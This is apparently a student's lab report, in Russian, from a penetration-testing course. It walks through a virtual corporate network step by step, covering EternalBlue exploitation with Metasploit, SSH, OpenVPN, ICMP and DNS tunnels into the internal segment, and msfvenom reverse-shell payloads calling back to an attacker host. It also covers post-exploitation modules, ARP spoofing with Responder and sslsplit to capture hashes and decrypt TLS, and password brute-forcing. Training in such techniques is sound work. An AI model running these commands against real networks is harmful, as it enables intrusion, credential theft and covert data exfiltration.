0. Подготовить виртуальную инфраструктуру в соответстии со схемой
Схема стенда:

# 1. Корпративная архитектура. Объекты инфраструктуры. Вектора атак
//Написать список возможных атаки первоначального доступа. Свой взгляд, как бы вы проникли вовнутрь инфраструктуры орагнизации. Это необходимо для первоначального понимания инфраструктуры с точки зрения ИБ. Какие слабые места в ней могут быть.
Для осуществления попытки первоначального доступа злоумышленником в организацию могут использоваться:
- различные варианты разведки;
- различные атаки.
в качестве разведки могут использоваться:
- OSINT
включает поиск открытой информации о доменах, ip-адресах, используемых в организации сервисах (web, почтовые сервисы), сетевые каталоги и т.д. Так же, поиск информации о сотрудниках.
- сканирование найденных dns-имен, ip-адресов и получение расширенной информации (данные из OSINT)
включает использование сканеров уязвимостей (nmap, MP8, Nessus или др.). Выполняет поиск сервисов, их версий, возможных уязвимостей, недостатков конфигурации.
Атака может содержать:
- при нахождении узвимостей приложениях/сервисах
использование эксплоитов и получение администраторского доступа.
- при нахождении узвимостей в вебе (OWASP)
испльзование соответствующих атак (SQL-инъекция, нахождение чувствительных данных в открытом доступе и т.д.).
- при наличии почтовых сервисов
выполнение брутфорса - атак на перебор паролей/почтовых УЗ.
Включая УЗ, найденные в OSINT.
- при нахождении интерфейсов управления (rdp, ssh, vnc, ...)
выполнение брутфорса - атак на перебор паролей.
- фишинг атаки
испольование почтовых сервисов - отправка фишинговых писем. Или др. сервисов при возможности.
- перехват сетевого трафика, поиск чувствительной информации
обеспечить каким-либо образом прохождение сетевого трафика через ВМ злоумышленника или получение копии трафика. Может использоваться:
а) физическое устройство с интерфейсами в режиме Моста, установленное в разрыв
б) атака ARP-спуфинг (из внутренней сети или на уровне сетевого провайдера)
в) если используется BGP - атака на BGP на уровне провайдера
г) разветвление сетевых сигналов (для оптики) или использование устройств съема информации с кабелей передачи данных.
Возможен как перехват УЗ, так и хешей паролей с УЗ, др. данных.
Для готовых хешей - выполнить атаку подбора паролей.
- apt-атаки
Использование целенаправленных атак на известную инфраструктуру пользователя (версии ПО, ОС и т.д.), включая вредоносные файлы, которые не детектятся антивирусом. Передача вредоносных файлов по почте, сетевые каталоги и т.д.
- DDoS-атаки
если требуется получить недоступный, нерабочий сервис организации.
# 2. OSINT и социальная инженерия
Используя инструменты, рассмотренные на занятии 2, найти информацию о компании, в которой вы работаете. Необходимо найти максимальное количествено сотрудников компании, в которой вы работаете в открытом доступе (ФИО, email, телефон, ссылка на соцсеть). В отчете отразить инструмены и инструкцию работы с инструментами. *Собранные данные включать в отчет не нужно!*
В качестве источников могут использоваться:
- веб-сайт организации;
- данные из различных утечек.
Данные сотрудников могут открыто отображаться на сайте - в разделах по различным подразделениям (отдел кадров, обучение, ...).
Так же данные могут находиться в документах (pdf, word), находящимся в открытом доступе на веб-сайте организации.
# 3. Сканирование сети корпоративной инфраструктуры
# 3.1 Выполнить конфигурацию инфраструктуры для выявления уязвимых сервисов (пробросить RDP и SMB порты Windows 7 на внешние порты FW)
Внешний IP адрес pfsense - 10.10.51.191.
Проброс портов (Destination NAT) настраивается на МЭ fpsense:
- порт 445 внешнего интерфейса транслируется в порт 445 ВМ Win7;
- порт 3389 внешнего интерфейса транслируется в порт 3389 ВМ Win7.
Для пропуска трафика настраивается правило на МЭ fpsense.
# 3.2 Выполнить сканирование внешнего периметра сети виртуальной организации, найти потенциально уязвимые сервисы, используя инстурументарий, рассмотренный на занятии 3.
Для сканирования используется СПО nmap. Скан портов определяет доступные порты и сервисы (по их отбивкам и по стандартным портам).
У nmap есть расширенный режим - возможность использование скриптов. Это позволяет определить уязвимости.
nmap 10.10.51.191 -A -sV --script=\*vuln*
сканирование определило ОС, уязвимый сервис на порту 445:


# 3.3 Выполнить эксплуатацию найденной уязвимости, используя инстурументарий, рассмотренный на занятии 3.
Для эксплуатации найденной уязвимости используется ПО metasploit.
msfconsole
msf6>

команда выполняет поиск эксплоитов:
search CVE-2017-0143

Отображается несколько доступных вариантов.
exploit - выполнение атаки.
auxilary - проверка уязвимости, но без атаки.
Выбирается вариант 0:
use 0
Для выполнения атаки требуется проверить опции и задать (если еще не заданы):
show options
set RHOST 10.10.51.191
run

Атака выполнена успешно, получена консоль meterpreter.
Есть возможность использовать различные команды в meterpreter (по help).
\> sysinfo //показывает параметры системы
\> shell //переходит в консоль windows - cmd

Эксплуатация уязвимости успешно выполнена.
# 4. Проникновение за периметр инфраструктуры (использование SSH)
Рассматриваемые настройки SSH работают только по TCP протоколу.
Перед выполнением настроек отключается проброс порта 3389 и 445 на ВМ pfsense.
# 4.1 Создать проброс портов (445 и 3389) с помощью технологии SSH PortForwarding
SSH PortForwarding обеспечивает обратные (reverse) коннекты. При подключении по SSH Клиент указывает какой локальный порт какому порту будет соответствовать на Сервере. Сервер начинает слушать данный порт и при подключении на него - пробрасывать соединение до Клиента на указанный порт.
На стенде SSH соединение устанавливается между Kali-VPN-SRV и внутренней ВМ Win-10. ВМ Win-10 инициирует соединение, доступ в инет ей открыт.
Типичный МЭ организации запрещает доступ сторонних адресов извне. Но при этом оставляет исходящий трафик открытым (с внутренней подсети).
Подготовка включает запуск службы SSH на ВМ Kali-VPN-SRV.

ip-адрес Kali-VPN-SRV - 10.10.51.222

Команда проверки запущенного сервиса SSH - на порту tcp/22:
ss -tunlp
На ВМ Win10 требуется установить WSL, разрешить удаленный доступ:


Проверка связности - с ВМ Win10 по ssh подключиться на ВМ Kali-VPN-SRV. Должно работать подключение SSH.
Выполнение подключения SSH port forwarding с ВМ Win10:
ssh -R 3389:127.0.0.1:3389 user@10.10.51.222
ssh -R 445:127.0.0.1:445 user@10.10.51.222
На ВМ Kali-VPN-SRV слушаются порты, указанные при подключении SSH port forwarding:

Для проверки выполняется подключение с ВМ Kali-VPN-SRV на локальный порт 3389 через XfreeRdp. Выполняется успешное перенаправление (forward) соединения на ВМ Win10.
xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3389

Так же есть возможность перенаправления подключения на какую-то другую ВМ в защищаемой сети.
# 4.2 Создать L3 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне.
Подключение выполняется с ВМ Debian на ВМ Kali-VPN-SRV.
1) Подготовка ВМ Kali-VPN-SRV
На ВМ Kali-VPN-SRV работает SSH-Сервер. В конфигурационном файле sshd_conf добавляются опции:
* PermitTunnel yes;
* PermitRootLogin yes.
Выполняется команда перезапуска ssh-Сервера (systemctl restart ssh.service).
Требуется задать пароль на root.
passwd root
2) Подключение с ВМ Debian и установление туннеля
Выподняется команда подключения:
sudo ssh -w any:any root@10.10.51.222 //успешное подключение к Kali
на Kali и Debian появились новые адаптеры tun (ifconfig). Но они выключены. Требуется задать ip - из сети 172.10.10.0:
- Kali-SSH-SRV - 172.10.10.1/24:
- Debian - 172.10.10.2/24.
ip addr add 172.10.10.2/24 dev tun0
ip link set dev tun0 up
nano /etc/sysctl.conf //настройка forwarding для ipv4
sysctl -p
Аналогичные настройки выполняются на ВМ Kali-VPN-SRV (интерфейс tun1):

//настройка NAT на ВМ Debian
iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE
apt install iptables-persistent //для сохранения конфига iptables
Проверка работоспособности туннеля с помощью ping:

на Kali-SSH-SRV добавляется маршрут:
ip route add 192.168.1.0/24 via 172.10.10.2
ping 192.168.1.1

Таким образом, L3 SSH-туннель успешно установлен.
# 4.3 Создать L2 тоннель с помощью SSH Tunneling и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника
Подключение выполняется с ВМ Debian на ВМ Kali-VPN-SRV.
NAT настраивать не требуется. На ВМ Debian:
apt install bridge-utils //для последующего создания bridge
На ВМ Kali-VPN-SRV выключается интерфейс ssh tun L3 (маршрут до сети 192.168.1.0/24, соответственно, отключается).
1) выполнение подключения с ВМ Debian по ssh:
ssh root@10.10.51.222 -o Tunnel=ethernet -w any:any

на Kali и Debian появились новые адаптеры tap (ifconfig). Но они выключены.
2) Настройка Debian
Для настройки удобно переключиться в другую консоль - Alt + F2 (или F3 и т.д.).
tap0 добавляется в бридж с интерфейсом ens3. Настройка выполняется с помощью утилиты brctl (если сделать настройки в файле и перезапустить сеть - то подключение ssh пропадет, включая интерфейс tap. Поэтому этот вариант не подходит).
brctl addif br0 tap0
brctl show

3) Настройка ВМ Kali-VPN-SRV
Интерфейс tap может быть выключен. Тогда требуется его включить:
ip link set dev tap1 up
Для получения ip адреса можно воспользоваться DHCP-сервером, работающем в защищенном сегменте сети:
dhclient tap1
В результате получен ip-адрес из защищенной подсети - 192.168.1.109/24. Доступны ip-адреса защищаемого сегмента:
ping 192.168.1.1 //ip-адрес доступен

Таким образом, SSH-туннель успешно установлен.
# 4.4 Настроить выход изнутри инфраструктуры с помощью SSH proxy на внешний SSH сервер
На ВМ Kali-VPN-SRV выключается интерфейс ssh tun L2. Включен только интерфейс ens3:

1) Схема сети
В качестве SSH-прокси используется ВМ Debian. В качестве клиента прокси используется ВМ Win7.
Для обеспечения доступа в интернет используется SSH подключение между ВМ Debian и Kali-VPN-SRV. Kali-VPN-SRV маршрутизирует сетевой трафик в сторону интернета.
2) Настройка ВМ Debian
Подключение выполняется командой:
ssh -f -qNTn -D "*:8080" root@10.10.51.222
В результате создается процесс, который слушает порт 8080 (в соответствии с командой).
ss -tunlp

ВМ Win7 настроена так, чтобы не было доступа во внешнюю подсеть (отсутствует шлюз по умолчанию).

Соответственно, с ВМ Win7 недоступны веб-ресурсы из сети инетрнет:

на Win7 в качестве прокси указывается ВМ Debian.
Важно - требуется указать только socks прокси (с другими типами соединение может не работать).


3) проверка работы ssh-прокси
Запрос curl показывает работу соединения. Но в данном случае отдается ошибка 301 на уровне http.

После настройки прокси с ВМ Win7 успешно открываются веб-ресурсы из сети интернет:

# 5. Использование OpenVPN
# 5.1 Построить OpenVPN L3 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне
Выполняется подключение с ВМ RPi-4 (openvpn клиент) на Kali-VPN-SRV (openvpn сервер).
1) Установка сервера OpenVPN
OpenVPN сервер устанавливается на ВМ Kali-VPN-SRV (во внешней сети).
установка выполняется скриптом, скаченным с ресурса:
https://github.com/angristan/openvpn-install?ysclid=l7edc4wwet305021265
Вопросы установщика и ответы:

PEM passhprase - 12345
passhprase от ключа - 12345

генерирование сертификата Клиента OpenVPN:
Клиент - user
подключение - без пароля
Сгенерированный файл будет храниться в /home/user/user.ovpn
Настройка конф.файл для Сервера OpenVPN:
/etc/openvpn/server.conf
Требуется закоментировать 3 строки push (все такие строки) и перезапустить сервис
nano /etc/openvpn/server.conf

service openvpn restart
OpenVPN Сервер работает на порту udp/1194.
ss -tunlp

2) Настройка OpenVPN клиента
OpenVPN клиент устанавливается на ВМ RPi-4. ВМ установлена в разрыв между коммутатором Cisco и FW pfsense.
Настройка на ВМ RPi-4:
- разрешить пересылку пакетов
sysctl.conf
nano /etc/sysctl.conf //настройка forwarding для ipv4
sysctl -p

- IP на br0
Установка - apt install bridge-utils
Выполняется настройка bridge между 2мя интерфейсами для прозрачной передачи трафика между pfsense и коммутатором Cisco.

По dhcp был получен 192.168.1.104/24 на интерфейсе br0 //или можно задать статический ip в файле

- nat
iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
- установка пакета openvpn
apt install openvpn
- подготовка профиля openvpn для подключения
Профиль клиента, сгенерированный на OpenVPN Сервере передается на ВМ RPi-4.

Редактирование user.ovpn в текстовом редакторе:
#explicit-exit-notify //закоментировать
#ignore-unknown-Options block-outside-dns //закоментировать
#setenv opt block-outside-dns //закоментировать

- подключение к Серверу OpenVPN
Подключение выполняется командой:
openvpn user.ovpn
Подключение успешное.

Клиент получает ip 10.8.0.2/24, ответный адрес пингуется (10.8.0.1):

3) Выполнение роутинга для обеспечения доступности подсетей защищенного сегмента
После подключения на ВМ Kali-VPN-SRV создается интерфейс tun:

На ВМ Kali-VPN-SRV добавляется маршрут до защищаемой подсети через интерфейс openvpn - tun0.

Но команда ping показывает недоступность защищаемых адресов:

//Требуется доп. настройка
Для настройки роутинга через OpenVPN требуется сделать дополнительные настройки на ВМ Kali-VPN-SRV:
- в каталоге /etc/openvpn/ccd/ создать файл с именем пользователя (user).
- в файле прописать маршрут.
iroute 192.168.1.0 255.255.255.0

Далее, выполняется переподключение клиента openVPN и задание NAT командой
проверка доступности защищаемой подсети с сервера openVPN:

Таким оборазом, после выполнения настроек подсети защищаемого сегмента доступны с ВМ Kali-VPN-SRV.
# 5.2 Построить OpenVPN L2 тоннель и проникнуть вовнутрь инфраструктуры и настроить маршрутизацию во внутренний периметр сети извне. Получить адрес DHCP на машине злоумышленника
Для OpenVPN L2 - маршрут и файл /etc/openvpn/ccd/user больше не потребуются на ВМ Kali-VPN-SRV (удалены).
1) Конфигурация OpenVPN сервера
На ВМ Kali-VPN-SRV изменяется конфиг:
dev tap //вместо dev tun
service openvpn restart

2) Конфигурация OpenVPN клиента
На ВМ RPi-4 изменяется конфиг:
dev tap //вместо dev tun

очищаются настройки iptables (ранее делался nat):
iptables -F
3) Подключение с помощью openvpn
На ВМ RPi-4 выполняется подключение:
openvpn user.ovpn

в результате появляется новый интерфейс tap:

4) добавление интерфейса tap в бридж
Добавление интерфейса tap в бридж обеспечит L2 соединение ВМ Kali-VPN-SRV с защищенным сегментом сети на уровне L2.
1) Настройка ВМ RPi-4.
Настраивается бридж из eth0, eth1, br0.
nano /etc/network/interfaces

Проверка настройки сетевых интерфейсов.
ip a

Интерфейс tap0 является частью бриджа br0 (...master br0...). На br0 присвоился ip-адрес по dhcp.
2) Настройка ВМ Kali-VPN-SRV
Успешно добавился интерфейс tap0, ему присвоился ip-адрес из защищаемого сегмента сети (192.168.1.111/24).

успешно выполняется проверка доступности pfsense:
ping 192.168.1.1
# 6. Вредоносное программное обеспечение в корпоративной среде
# 6.1 Выполнить конфигурацию инфраструктуры для возможности запуска вредоносов (отключить защитник Windows)
На ВМ Kali-VPN отключаются туннельные интерфейсы, доступ во внутренний сегмент сети (192.168.1.0/24) отсутствует.

На ВМ Win7 отсутствует антивирусное ПО.
# 6.2 Создать скрипт выполнения reverse-shell подключения со следующей полезной нагрузкой
Атака выполняется с использованием Сервера и Клиента. Сервером является ВМ Kali-VPN. Клиентом - ВМ Win7.
1) Создание Серверной части пейлоада
на Kali-VPN создается Сервер для получения соединений
- Meterpreter reverse https
Выполняется создание и запуск Серверной части, выбор эксплоита и пейлоада:
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_http

задать option //port 8080

run

2) создание Клиентской части пейлоада
на ВМ Kali-VPN-SRV создается клиентская часть пейлоада.
указывается ip-адрес сервера для подключения (lhost) и порт(lport).
msfvenom -p windows/x64/meterpreter/reverse_http lhost=10.10.51.222 lport=8080 -f exe -o reverse-http-meter.exe

Описание пейлоада windows/x64/meterpreter/reverse_http:
- windows - ОС
- x64 - архитектура
- meterpreter - тип консоли. После запуска будет доступна консоль meterpreter и ввод команд в ней
- revers_http - использует http протокол подключения, обратное reverse подключение (подключение к серверу, чтобы он подключился к клиенту).
3) альтернативный вариант создания Серверной и Клиентской частей пейлоада
Рассматривается тип пейлоада - powershell_reverse_tcp.
- создание Серверной части
На ВМ Kali-VPN-SRV создается Сервер с эксплоитом типа exploit/multi/handler, с пейлоадом типа windows/powershell_reverse_tcp.
Порт Сервера указывается 8081:

- создание пейлоада для Клиентской части
Клиентская часть создается утилитой msfvenom. Указывается тот же тип пейлоада, ip и порт Сервера:

В результате успешно создан пейлоад:

- Запуск пейлоада на ВМ клиента
Пейлоад запускается на ВМ Win7.
В результате на Сервере, ВМ Kali-VPN-SRV, успешно получена консоль powershell:

# 6.3 Передать на машину жертвы с помощью python http.server вредоносный файл и запустить его, предварительно настроив серверную часть msf multi/handler
1) подготовка веб-сервера для размещения пейлоада
Веб-сервер создается с помощью модуля python на ВМ Kali-VPN-SRV.
создается каталог WEB с размещаемыми на веб-ресурсе файлами. И запускается веб-сервер.
mkdir WEB
cd WEB
python -m http.server

Сервис работает:
netstat -tunlp

При открытии веб-портала в браузере - отображается список файлов, доступных для скачивания. Список включает файл пейлоада - reverse-http-meter.exe.

2) Запуск пейлоада на клиентской ВМ
На ВМ Win7 запускается файл пейлоада - reverse-http-meter.exe.
На ВМ Kali-VPN-SRV отображается сессия подключенного клиента (PC-WIN7).
Отображается сессия meterpreter:

- PowerShell reverse tcp
появилась консоль ОС Windows.
# 6.4 Выполнить любые три скрипта пост-эксплуатации захваченной машины
1) использование post/windows/escalate/unmarshal_cmd_exec
Сценарий постэксплуатации создает УЗ пользователя.
В качестве опций требуется указать сессию (номер) выбранного модуля.

Была создана УЗ txUmMU с паролем IPuTVLcVvwnm.

2) использование post/windows/gather/enum_shares
Сценарий подсчитывает общие каталоги. В качестве опции требуется указать номер сессии - 1.
Найден 1 общий каталог.

3) использование post/windows/gather/enum_logged_on_users
Сценарий подсчитывает выполнивших вход пользователей в данный момент, а так же недавно выполнивших вход.

4) использование post/windows/gather/credentials/credential_collector
Сценарий собирает УЗ.

В данном случае постэксплуатация запускается, но выдает ошибку архитектуры.

# 7 Особенности атак, использующих метод перехвата трафика
# 7.1 Подготовить инфраструктуру для проведения MITM атаки, а также подготить необходимые инструменты: ARP-Spoof (пакет утилиты dsniff) и утилиту sslsplit
Для атаки MITM используется ВМ внутри защищаемого сегмента сети - ВМ Kali-linux, которая используется для перехвата трафика между ВМ Win7 и DC.
1) настройка ВМ Kali-linux
apt update
apt install dsniff //для атаки АРП спуфинг
nano /etc/sysctl.conf //настройка пересылки пакетов
sysctl -p //применение настройки пересылки пакетов

2) Настройка ВМ DC
На ВМ DC устанавливается роль Контроллера домена и ДНС-сервер.
Создается доменный пользователь user.

на сетевом интерфейсе - в свойствах ДНС указывается локальный ip - 127.0.0.1.
В оснастке DNS-сервера в свойствах сервера, во вкладке Forward - требуется настроить адрес 77.88.8.8 для пересылки внешних днс-запросов (вне домена ptlab.net).
3) Настройка ВМ Win7
ВМ Win7 вводится в домен ptlab.local.

# 7.2 В зоне LAN инфраструктуры выполнить перехват трафика машины жертвы (Windows 7 или Windows 10)
1) Предварительно требуется определить IP адреса ВМ Win7 и DC.
ВМ Win7 - 192.168.1.101 (dhcp)
ВМ DC - 192.168.1.200 (static)
Атака запускается с Kali-linux:
arpspoof -i eth0 -t 192.168.1.200 -r 192.168.1.101
В Wireshark видно много запросов ARP, SMB между ВМ с ОС Windows.
Трафик проходит через ВМ Kali-linux, атака MITM выполнена:

2) настройка обработчика трафика (Responder)
на ВМ Kali-linux запускается обработчик трафика:
sudo responder -I eth0 -wd

проверка работы сервиса Responder на порту SMB - tcp/445

# 7.3 Настроить правила предобработки трафика с помощью утилиты iptables
По умолчанию трафик между ВМ - транзитный, не предназначен для Kali-linux.
Для перенаправления транзитного трафика на Responder требуется настроить правила iptables.
Правило перенаправляет трафик SBM с ВМ Windows на Responder.
iptables -t nat -A PREROUTING -p tcp --dport 445 -j REDIRECT --to-ports 445
На Wireshark виден трафик SMB между ВМ Win7 и DC:

Лог Responder отображает перехваченные УЗ и хэши паролей:

Т.к. Responder не выполняет переылку перехваченных запросов на ВМ DC по протоколу SMB, то сетевой каталог на Win7 будет недоступен:

Просмотр заданного правила iptables:
iptables -t nat -L

Таким образом, успешно выполнена атака MITM с помощью утилиты Responder с использованием протокола SMB.
# 7.4 Выполнить подмену сертификата для зашифрованного трафика с помощью утилиты sslsplit
Атака sslSplit выполняет подмену сертификата для веб-ресурсов, обеспечивая расшифровку сетевого трафика на ВМ Kali-linux.
Атака описана в статье - https://blog.kchung.co/recording-and-decrypting-ssl-encrypted-traffic/
1) Настройка ВМ Kali-linux
- Установка sslSplit
Установка sslSplit на ВМ Kali-linux выполняется в соответствии со статьей.
git clone https://github.com/droe/sslsplit.git
- применение правил iptables
Для обработки трафика требуется настроить его перенаправление на локальный адрес ВМ:
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

- генерирование сертификата
mkdir ssl
openssl genrsa -out ca.key 4096 //генерирование закрытого ключа
openssl req -new -x509 -key ca.key -out ca.crt //генерирование открытого ключа по закрытому
- Запуск утилиты sslsplit
Указываются порты для открытого (tcp/8080) и шифрованного (ssl - 8443) веб-трафика. Если отсутствуют каталоги из команды - создать.
sslsplit \\
-D \\
-l connections.log \\
-j /tmp/sslsplit/ \\
-M ssl_key_logfile \\
-S logdir/ \\
-k ca.key \\
-c ca.crt \\
ssl 0.0.0.0 8443 \\
tcp 0.0.0.0 8080

- запуск arp-спуфинга
Т.к. Win7 открывает веб-ресурсы из интернета, то MITM требуется между Win7 и FW pfsense:
arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.101

2) Проверка доступа в интернет с ВМ Win7
при открытии веб-ресурсов с ВМ Win7 отображается окно предупреждения, что сертификат не соответствует веб-ресурсу:

В свойствах сертификата видно, что он выдан организацией - MyOrg, этот сертификат не является валидным для ВМ Win7.

# 7.5 Установить кастомный корневой сертификат центра сертификации на машинку жертвы
Для обеспечения валидности сертификата требуется его установить (открытый ключ/сертификат) в локальное хранилище доверенных сертификатов:

При продолжении открытия веб-ресурса - успешно открывается веб-страница:

# 7.6 С помощью wireshark выполнить захват и расшифровку трафика
При запуске sslsplit и указании используемых файлов сертификата - создается файл ssl_key_logfile.
Для возможности анализа открытого трафика можно воспользоваться Wireshark. Предварительно требуется выполнить его настройку - загрузить ключ для расшифровки трафика.
требуется зайти в меню edit/preference /Protocols /TLS //меню (Pre)-Master-secret log filename.

Загружается серттификат по пути /home/user/ssl/ssl_key_logfile

После настройки запускается Wireshark:

# 8 Особенности атак, использующих метод грубой силы
# 8.1 Подготовить инфраструктуру для проведения BruteForce атак
Для выполнения атак брутфорса рассматривается несколько вариантов подбора паролей:
1) подбор пароля к хэшу
требуется установить утилиту hashcat.
в качестве хэшей могут использоваться данные, полученные при работе responder:

в качестве паролей может использоваться файл rockyou.

Файл разархивируется и копируется в каталог пользователя
/home/user/

Для выполнения подбора пароля в конец файла добавляется искомый пароль.
echo "eve@123" >> /home/user/rockyou.txt

2) подбор УЗ к RDP
требуется проверить утилиту patator. Если она не установлена - выполнить установку. Так же, могут быть использованы другие утилиты.
3) подбор УЗ к SSH
требуется проверить утилиту ssb. Если она не установлена - выполнить установку. Так же, могут быть использованы другие утилиты.
# 8.2 Провести атаку на сервис RDP
Для выполнения атак брутфорса (перебора УЗ и пароля) по протоколу RDP используется утилита patator. Атака запускается с ВМ Kali-linux, в качестве цели указывается ВМ Win7.
Требуется задать файл с УЗ (логинами). Создается username.txt, его содержимое указано на рисунке.

в качестве паролей используется


# 8.3 Провести атаку на сервис SSH
Для выполнения атак брутфорса (перебора УЗ и пароля) по протоколу RDP используется утилита ssb. Атака запускается с ВМ Kali-linux, в качестве цели указывается ВМ Debian.
На ВМ Debian требуется запустить ssh-сервер:

Запуск атаки:
ssb -p 22 -w /root/ssb/pass.txt -o creds.txt root@192.168.1.108

При просмотре лога аутентификации на ВМ Debian - отображаются неудачные попытки аутентификации.
tail /var/log/auth.log

# 8.4 Перехватить трафик с помощью Responder и осуществить BruteForce атаку на перехваченный NTLMv2 хэш
Для подбора пароля к хэшу используется утилита hashcat.
Дополнительно, hashcat умеет подбирать хэши, сделанные в формате ntlm. Для этого используется опция "-m 5600".
Файл лога responder, содержащий УЗ и хэш пароля, использует формат ntlm. Таким образом, есть возможность подбирать пароль без дополнительных преобразований файла с УЗ и хэшем.
запуск утилиты:
hashcat -a 0 -m 5600 smb....txt /usr/share/wordlists/rockyou.txt -o pass.txt

Окно работы утилиты показано на рисунке. Есть возможность смотреть статистику (s).

Статистика и результат работы утилиты - пароль успешно подобран.

в файле с хэшем, полученным от responder, утилита добавляет найденный пароль:

# 9 Инструменты скрытия трафика от систем защиты
# 9.1 Дополнить конфигурацию инфраструктуры для возможности создания ICMP и DNS туннеля. Вполнить реализацию ICMP тоннеля.
Туннель строится между ВМ Kali-VPN-SRV (Внешняя подсеть) и Debian (внутренняя подсеть).
Для установки icmp-туннеля используется утилита hans. Статья - https://github.com/friedrich/hans?ysclid=l87kabt4lb80121193
1) Настройка ВМ Kali-VPN-SRV
Требуется установка пакетов:
apt install git g++ net-tools make
скачивается каталог утилиты (командой git).

mv hans/ git-hans //переименование каталога
cd git-hans/

Запускается компиляция кода hans:
make
Компиляция успешно выполнена, появится исполнякмый файл hans:

Отображение справки hans:

Запуск утилиты hans, Серверная часть:
hans -s 10.1.2.0 -p Qq123456
где -p - пароль (задается любой).
-s - задается подсеть туннельного интерфейса (выбрана для примера 10.1.2.0/24).

В результате создается туннельный интерфейс tun0.
2) Настройка ВМ Debian
Аналогично, устанавливаются пакеты git g++ net-tools make. Скачивается и компилируется утилита hans:

Запуск утилиты hans, Клиентская часть.
hans -c 10.10.51.229 -p Qq123456
где 10.10.51.229 - ip-адрес ВМ Kali-VPN-SRV.

Появляется новый интерфейс tun0 с ip-адресом 10.1.2.100/24.
Успешно пингуется ответный интерфейс туннеля.
ping 10.1.2.1

После установления туннеля есть возможность подключиться с ВМ Kali-VPN-SRV на ВМ Debian:
ssh root@10.1.2.100

3) Настройка роутинга для прохождения трафика через icmp-туннель
Проверка текущей маршрутизации - трафик проходит через адрес pfsense - 192.168.1.1:

шлюз по умолчанию - pfsense. 192.168.1.1

требуется задать руты:
- до ВМ Kali-VPN-SRV через psfense (192.168.1.1);
- по-умолчанию через туннельный интерфейс (10.1.2.1).
ip route delete default
ip route add default 10.1.2.1
tracert ya.ru
Таким образом, трафик проходит через туннельный интерфейс, интернет доступен:

# 9.2 Выполнить реализацию RAW DNS тоннеля (простой способ)
Для настройки DNS-туннеля используется утилита iodine.
Статья - https://habr.com/ru/post/129097/?ysclid=l87s4oz61306681043
Простой спосов заключается в указании на Клиенте (ВМ Debian) ДНС сервера, который будет являться Серверной частью iodine (ВМ Kali-VPN-SRV). iodine не является днс-сервером, соответственно, не может резолвить имена интернета. Поэтому, на Клиенте могут быть сложности с резолвом ДНС имен или потребуется обходное решение (использование hosts и т.д.).
1) Настройка Серверной части (ВМ Kali-VPN-SRV)
Установка iodine:
apt install iodine
Запуск серверной части iodine:
iodined 10.99.99.1/24 -c i.ptlab.net
В результате появляется туннельный интерфейс dns0:

на ВМ слушается ДНС-порт udp/53, Сервер iodined запущен.

2) Настройка Клиентской части (ВМ Debian)
Проверка настройки сетевых интерфейсов до настройки:

Требуется указать в качестве DNS-сервера - ip ВМ Kali-VPN-SRV (10.10.51.229):

Запуск Клиента и подключение к Серверу.
iodine -P Qq123456 i.ptlab.net

В результате добавился новый туннельный интерфейс dns0 (10.99.99.2/24):

3) Проверка работоспособности туннеля
Туннель успешно поднялся, пинг между ВМ проходит:

С ВМ Kali-VPN-SRV есть возможность подключиться на ВМ Debian по SSH:
ssh root@10.99.99.2

# 9.3 Выполнить реализацию DNS тоннеля через корпоративный DNS сервер (сложный способ)
Сложный способ, в отличае от простого, использует пересылку dns-запросов через ДНС-сервера до заранее определенного домена (могут использоваться домены нескольких уровней).
1) Настройка DNS-инфраструктуры
На внешней ВМ Win Server-EXT-DNS добавляется роль DNS-сервера и настравается dns-зона ptlab.net:

В dns-зоне ptlab.net создается A-запись домена (без имени) ptlab.net, соответствует 10.10.51.237.

Так же создается A-запись fakedns с IP-адресом ВМ Kali-VPN-SRV, соответствует 10.10.51.236.

Настраивается делегирование DNS-зоны i.ptlab.net на ВМ Kali-VPN-SRV. Зона i.ptlab.net будет использоваться для построения ДНС-туннеля.

Задается сервер хранения зоны i - ВМ Kali-VPN-SRV:

На ВМ DC, на внутреннем ДНС-сервере задается пересылка запросов - на внешний ДНС-сервер (ВМ Win Server-EXT-DNS).
2) Настройка ДНС-клиента iodine
На внутренней ВМ Debian в качестве ДНС-сервера задается внутренний, развернутый на ВМ DC (192.168.1.200).
Проверка разрешения днс-имен в интернете на ВМ Debian.

Для использования утилиты dig требуется установка пакета:
apt install dnsutils

3) Запуск dns-туннеля
ДНС-туннель устанавливается между ВМ Debian и ВМ Kali-VPN-SRV.
На Kali-VPN-SRV уже работает Серверная часть iodine, запущенная ранее.
На ВМ Debian отсутствуют туннельные интерфейсы iodine. Запуск клиентской части iodine:
iodine -P Qq123456 i.ptlab.net

После запуска на ВМ Debian появляется туннельный интерфейс dns0:

Туннель успешно установлен, с ВМ Debian пингуется туннельный интерфейс ВМ Kali-VPN-SRV.
3) Настройка маршрутизации
Весь трафик перенаправляется через туннельный интерфейс.
текущая таблица маршрутизации содержит шлюз по-умолчанию.
Т.к. туннель работает по днс-запросам, а днс-сервер для ВМ Debian находится в одной локальной сети, для работы ДНС-туннеля не обязательно наличие шлюза по-умолчанию.
ip route del default

4) Проверка работоспособности
Проверка установления туннельного соединения, подключение проходит успешно.
iodine -P Qq123456 i.ptlab.net

Для выхода в интернет на ВМ Kali-VPN-SRV требуется настроить nat (выход трафика в интернет с внешнего ip-адреса eth0):
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

В качестве шлюза по умолчанию указан туннельный интерфейс - 10.99.99.1. На ВМ Debian есть доступ в интернет:

Таким образом, DNS-туннель работает корректно.